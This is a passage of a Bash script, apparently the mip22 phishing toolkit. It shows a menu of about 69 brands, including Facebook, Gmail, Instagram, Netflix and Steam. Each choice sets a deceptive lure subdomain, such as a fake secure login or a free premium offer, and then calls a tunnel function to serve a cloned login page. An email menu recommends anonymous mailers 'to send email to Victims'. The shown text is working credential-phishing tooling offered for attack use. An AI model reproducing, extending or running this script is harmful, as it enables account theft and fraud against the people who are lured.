  501. ${GREEN}[${WHITE}6${GREEN}]${CYAN} Clashofclans ${GREEN}[${WHITE}30${GREEN}]${CYAN} Microsoft ${GREEN}[${WHITE}53${GREEN}]${CYAN} Telegram
  502. ${GREEN}[${WHITE}7${GREEN}]${CYAN} Crunchyroll ${GREEN}[${WHITE}31${GREEN}]${CYAN} Mocospace ${GREEN}[${WHITE}54${GREEN}]${CYAN} Tiktok
  503. ${GREEN}[${WHITE}8${GREEN}]${CYAN} Deviantart ${GREEN}[${WHITE}32${GREEN}]${CYAN} Myspace ${GREEN}[${WHITE}55${GREEN}]${CYAN} Tiktok Followers
  504. ${GREEN}[${WHITE}9${GREEN}]${CYAN} Discord ${GREEN}[${WHITE}33${GREEN}]${CYAN} Netflix ${GREEN}[${WHITE}56${GREEN}]${CYAN} Tumblr
  505. ${GREEN}[${WHITE}10${GREEN}]${CYAN} Dota2 ${GREEN}[${WHITE}34${GREEN}]${CYAN} Origin ${GREEN}[${WHITE}57${GREEN}]${CYAN} Twitch
  506. ${GREEN}[${WHITE}11${GREEN}]${CYAN} Dropbox ${GREEN}[${WHITE}35${GREEN}]${CYAN} Outlook ${GREEN}[${WHITE}58${GREEN}]${CYAN} Twitter
  507. ${GREEN}[${WHITE}12${GREEN}]${CYAN} Ebay ${GREEN}[${WHITE}36${GREEN}]${CYAN} Pinterest ${GREEN}[${WHITE}59${GREEN}]${CYAN} Viber Out
  508. ${GREEN}[${WHITE}13${GREEN}]${CYAN} Facebook ${GREEN}[${WHITE}37${GREEN}]${CYAN} Playstation ${GREEN}[${WHITE}60${GREEN}]${CYAN} Vimeo
  509. ${GREEN}[${WHITE}14${GREEN}]${CYAN} Facebook Messenger ${GREEN}[${WHITE}38${GREEN}]${CYAN} Protonmail ${GREEN}[${WHITE}61${GREEN}]${CYAN} Vk
  510. ${GREEN}[${WHITE}15${GREEN}]${CYAN} Facebook Security ${GREEN}[${WHITE}49${GREEN}]${CYAN} Pubg ${GREEN}[${WHITE}62${GREEN}]${CYAN} Whatsapp
  511. ${GREEN}[${WHITE}16${GREEN}]${CYAN} Gmail ${GREEN}[${WHITE}40${GREEN}]${CYAN} Quora ${GREEN}[${WHITE}63${GREEN}]${CYAN} Wordpress
  512. ${GREEN}[${WHITE}17${GREEN}]${CYAN} Goodreads ${GREEN}[${WHITE}41${GREEN}]${CYAN} Reverly ${GREEN}[${WHITE}64${GREEN}]${CYAN} Xanga
  513. ${GREEN}[${WHITE}18${GREEN}]${CYAN} Hotstar ${GREEN}[${WHITE}42${GREEN}]${CYAN} Reddit ${GREEN}[${WHITE}65${GREEN}]${CYAN} Xbox
  514. ${GREEN}[${WHITE}19${GREEN}]${CYAN} Icloud ${GREEN}[${WHITE}43${GREEN}]${CYAN} Reverbnation ${GREEN}[${WHITE}66${GREEN}]${CYAN} Xing
  515. ${GREEN}[${WHITE}20${GREEN}]${CYAN} Influenster ${GREEN}[${WHITE}44${GREEN}]${CYAN} Signal ${GREEN}[${WHITE}67${GREEN}]${CYAN} Yahoo
  516. ${GREEN}[${WHITE}21${GREEN}]${CYAN} Instagram ${GREEN}[${WHITE}45${GREEN}]${CYAN} Skype ${GREEN}[${WHITE}68${GREEN}]${CYAN} Yandex
  517. ${GREEN}[${WHITE}22${GREEN}]${CYAN} Insta Followers ${GREEN}[${WHITE}46${GREEN}]${CYAN} Skyrock ${GREEN}[${WHITE}69${GREEN}]${CYAN} Youtube SUbs
  518. ${GREEN}[${WHITE}23${GREEN}]${CYAN} Insta Followers 2 ${GREEN}[${WHITE}47${GREEN}]${CYAN} Snapchat ${GREEN}[${WHITE}99${GREEN}]${MAGENTA} Main Menu
  519. ${GREEN}[${WHITE}24${GREEN}]${CYAN} Instagram Verify
  520. EOF
  521. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  522. case $REPLY in
  523. 1)
  524. site="adobe"
  525. subdomain='http://adobe-pro-membership-lifetime-for-you'
  526. tunnel;;
  527. 2)
  528. site="amazon"
  529. subdomain='http://amazon-pro-membership-lifetime-for-you'
  530. tunnel;;
  531. 3)
  532. site="apple"
  533. subdomain='http://apple-security-account-login'
  534. tunnel;;
  535. 4)
  536. site="badoo"
  537. subdomain='http://get-2000-euro-free-for-your-acount'
  538. tunnel;;
  539. 5)
  540. site="care2"
  541. subdomain='http://get-2000-tokens-free-for-your-acount'
  542. tunnel;;
  543. 6)
  544. site="clashofclans"
  545. subdomain='http://get-free-character-for-clashofclans-game'
  546. tunnel;;
  547. 7)
  548. site="crunchyroll"
  549. subdomain='http://get-free-character-for-crunchyroll-game'
  550. tunnel;;
  551. 8)
  552. site="deviantart"
  553. subdomain='http://deviantart-upgrade-account-pro-for-free'
  554. tunnel;;
  555. 9)
  556. site="discord"
  557. subdomain='http://discord-upgrade-account-pro-for-free'
  558. tunnel;;
  559. 10)
  560. site="dota2"
  561. subdomain='http://dota-upgrade-account-pro-for-free'
  562. tunnel;;
  563. 11)
  564. site="dropbox"
  565. subdomain='http://get-2TB-cloud-storage-free'
  566. tunnel;;
  567. 12)
  568. site="ebay"
  569. subdomain='http://ebay-upgrade-account-for-free'
  570. tunnel;;
  571. 13)
  572. site="facebook"
  573. subdomain='http://secure-verified-account-for-facebook'
  574. tunnel;;
  575. 14)
  576. site="facebook_messenger"
  577. subdomain='http://messenger-premium-features-for-free'
  578. tunnel;;
  579. 15)
  580. site="facebook_security"
  581. subdomain='http://make-your-facebook-secured-from-hackers'
  582. tunnel;;
  583. 16)
  584. site="gmail"
  585. subdomain='http://get-unlimited-google-drive-free'
  586. tunnel;;
  587. 17)
  588. site="goodreads"
  589. subdomain='http://goodreads-updrade-account-lifetime-free'
  590. tunnel;;
  591. 18)
  592. site="hotstar"
  593. subdomain='http://hotstar-premieum-account-for-free'
  594. tunnel;;
  595. 19)
  596. site="icloud"
  597. subdomain='http://get-2TB-cloud-storage-free'
  598. tunnel;;
  599. 20)
  600. site="influenster"
  601. subdomain='http://update-account-to-premium-free'
  602. tunnel;;
  603. 21)
  604. site="instagram"
  605. subdomain='http://secure-login-for-instagram'
  606. tunnel;;
  607. 22)
  608. site="instagram_followers"
  609. subdomain='http://get-10000-followers-for-instagram'
  610. tunnel;;
  611. 23)
  612. site="instagram_followers_2"
  613. subdomain='http://get-10000-followers-for-instagram'
  614. tunnel;;
  615. 24)
  616. site="instagram_verify"
  617. subdomain='http://instagram-verify-account'
  618. tunnel;;
  619. 25)
  620. site="line"
  621. subdomain='http://line-get-free-tokens-for-speech'
  622. tunnel;;
  623. 26)
  624. site="linkedin"
  625. subdomain='http://get-a-premium-plan-for-linkedin-free'
  626. tunnel;;
  627. 27)
  628. site="livejournal"
  629. subdomain='http://get-a-premium-plan-for-livejournal-free'
  630. tunnel;;
  631. 28)
  632. site="mediafire"
  633. subdomain='http://get-2TB-cloud-storage-free'
  634. tunnel;;
  635. 29)
  636. site="mewe"
  637. subdomain='http://mewe-update-account-to-premium-free'
  638. tunnel;;
  639. 30)
  640. site="microsoft"
  641. subdomain='http://unlimited-onedrive-space-for-free'
  642. tunnel;;
  643. 31)
  644. site="mocospace"
  645. subdomain='http://upgrade-your-mocospace-plan-free'
  646. tunnel;;
  647. 32)
  648. site="myspace"
  649. subdomain='http://upgrade-your-myspace-plan-free'
  650. tunnel;;
  651. 33)
  652. site="netflix"
  653. subdomain='http://upgrade-your-netflix-plan-free'
  654. tunnel;;
  655. 34)
  656. site="origin"
  657. subdomain='http://origin-upgrade-to-premium-account-free'
  658. tunnel;;
  659. 35)
  660. site="outlook"
  661. subdomain='http://unlimited-onedrive-space-for-free'
  662. tunnel;;
  663. 36)
  664. site="pinterest"
  665. subdomain='http://get-a-premium-plan-for-pinterest-free'
  666. tunnel;;
  667. 37)
  668. site="playstation"
  669. subdomain='http://playstation-premium-account-free'
  670. tunnel;;
  671. 38)
  672. site="protonmail"
  673. subdomain='http://protonmail-pro-basics-for-free'
  674. tunnel;;
  675. 39)
  676. site="pubg"
  677. subdomain='http://get-free-character-for-pubs-game'
  678. tunnel;;
  679. 40)
  680. site="quora"
  681. subdomain='http://get-quora-premium-account-for-free-lifetime'
  682. tunnel;;
  683. 41)
  684. site="raverly"
  685. subdomain='http://get-raverly-premium-account-for-free-'
  686. tunnel;;
  687. 42)
  688. site="reddit"
  689. subdomain='http://reddit-official-verified-member-badge'
  690. tunnel;;
  691. 43)
  692. site="reverbnation"
  693. subdomain='http://get-reverbnation-premium-account-for-free-'
  694. tunnel;;
  695. 44)
  696. site="signal"
  697. subdomain='http://signal-get-free-tokens-for-speech'
  698. tunnel;;
  699. 45)
  700. site="skype"
  701. subdomain='http://skype-get-free-tokens-for-speech'
  702. tunnel;;
  703. 46)
  704. site="skyrock"
  705. subdomain='http://skyrock-upgrade-to-premium-account-free'
  706. tunnel;;
  707. 47)
  708. site="snapchat"
  709. subdomain='http://view-locked-snapchat-accounts-secretly'
  710. tunnel;;
  711. 48)
  712. site="socialclub"
  713. subdomain='http://-socialclub-update-account-to-premieum-free'
  714. tunnel;;
  715. 49)
  716. site="spotify"
  717. subdomain='http://convert-your-account-to-spotify-premium'
  718. tunnel;;
  719. 50)
  720. site="stackoverflow"
  721. subdomain='http://stackoverflow-convert-your-account-to-premium'
  722. tunnel;;
  723. 51)
  724. site="steam"
  725. subdomain='http://steam-convert-your-account-to-premium'
  726. tunnel;;
  727. 52)
  728. site="tagget"
  729. subdomain='http://tagget-convert-your-account-to-premium'
  730. tunnel;;
  731. 53)
  732. site="telegram"
  733. subdomain='http://telegram-get-free-tokens-for-speech'
  734. tunnel;;
  735. 54)
  736. site="tiktok"
  737. subdomain='http://get-tiktok-100000-followers-free-at-instant'
  738. tunnel;;
  739. 55)
  740. site="tiktok_followers"
  741. subdomain='http://get-tiktok-100000-followers-free-at-instant'
  742. tunnel;;
  743. 56)
  744. site="tumblr"
  745. subdomain='http://tumblr-upgrade-account-to-premium-free'
  746. tunnel;;
  747. 57)
  748. site="twitch"
  749. subdomain='http://unlimited-twitch-tv-user-for-free'
  750. tunnel;;
  751. 58)
  752. site="twitter"
  753. subdomain='http://get-blue-badge-on-twitter-free'
  754. tunnel;;
  755. 59)
  756. site="viber_out"
  757. subdomain='http://viber-get-free-tokens-for-speech'
  758. tunnel;;
  759. 60)
  760. site="vimeo"
  761. subdomain='http://get-100000-views-for-channel-free'
  762. tunnel;;
  763. 61)
  764. site="vk"
  765. subdomain='http://vk-premium-real-method-2022-free'
  766. tunnel;;
  767. 62)
  768. site="whatsapp"
  769. subdomain='http://get-3000-free-tokens-for-free'
  770. tunnel;;
  771. 63)
  772. site="wordpress"
  773. subdomain='http://get-unlimited-wordpress-traffic-free'
  774. tunnel;;
  775. 64)
  776. site="xanga"
  777. subdomain='http://xanga-update-account-to-premieum'
  778. tunnel;;
  779. 65)
  780. site="xbox"
  781. subdomain='http://xbox-premium-account-new-method-2022'
  782. tunnel;;
  783. 66)
  784. site="xing"
  785. subdomain='http://xing-update-account-to-premieum'
  786. tunnel;;
  787. 67)
  788. site="yahoo"
  789. subdomain='http://grab-mail-from-anyother-yahoo-account-free'
  790. tunnel;;
  791. 68)
  792. site="yandex"
  793. subdomain='http://grab-mail-from-anyother-yandex-account-free'
  794. tunnel;;
  795. 69)
  796. site="youtube_subs"
  797. subdomain='http://get-100000-youtube-subscribers-free'
  798. tunnel;;
  799. #70)
  800. #setup_clone_manual
  801. #tunnel;;
  802. 99) menu;;
  803. *)
  804. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  805. { sleep 0.7; attack;};;
  806. esac
  807. }
  808. attack_manual() {
  809. subdomain='http:secure-login-page'
  810. tunnel_manual
  811. }
  812. email() {
  813. { clear; header; echo; }
  814. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Use this services for send email to Victims \n"
  815. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://www.guerrillamail.com/ \n"
  816. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://emkei.cz/ ${MAGENTA} (recommended) \n"
  817. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://mailspre.com/ \n"
  818. echo -ne "\n\n"
  819. cat <<- EOF
  820. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  821. EOF
  822. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  823. case $REPLY in
  824. 99) menu;;
  825. *)
  826. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  827. { sleep 0.7; email;};;
  828. esac
  829. }
  830. menu() {
  831. { clear; header; echo; }
  832. cat <<- EOF
  833. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Attack Default
  834. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Attack Manual
  835. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Apis
  836. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Email
  837. ${GREEN}[${WHITE}5${GREEN}]${CYAN} Vpn
  838. ${GREEN}[${WHITE}6${GREEN}]${CYAN} Sound (pc only)
  839. ${GREEN}[${WHITE}0${GREEN}]${ORANGE} Exit
  840. EOF
  841. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  842. case $REPLY in
  843. 1) attack;;
  844. 2) attack_manual;;
  845. 3) apis;;
  846. 4) email;;
  847. 5) vpn_setup;;
  848. 6) play_music;;
  849. help) help;;
  850. 0)
  851. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${ORANGE} Thanks for using mip22 "${WHITE}
  852. sleep 2
  853. clear
  854. exit 1;;
  855. *)
  856. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  857. { sleep 0.7; menu;};;
  858. esac
  859. }
  860. control_c()
  861. {
  862. echo -e "${RESETBG}"
  863. echo -e "${RESETFG}"
  864. clear
  865. exit 1
  866. }
  867. trap control_c SIGINT
  868. check_os_and_install_packages
  869. check_root_and_os
  870. pid_kill
  871. menu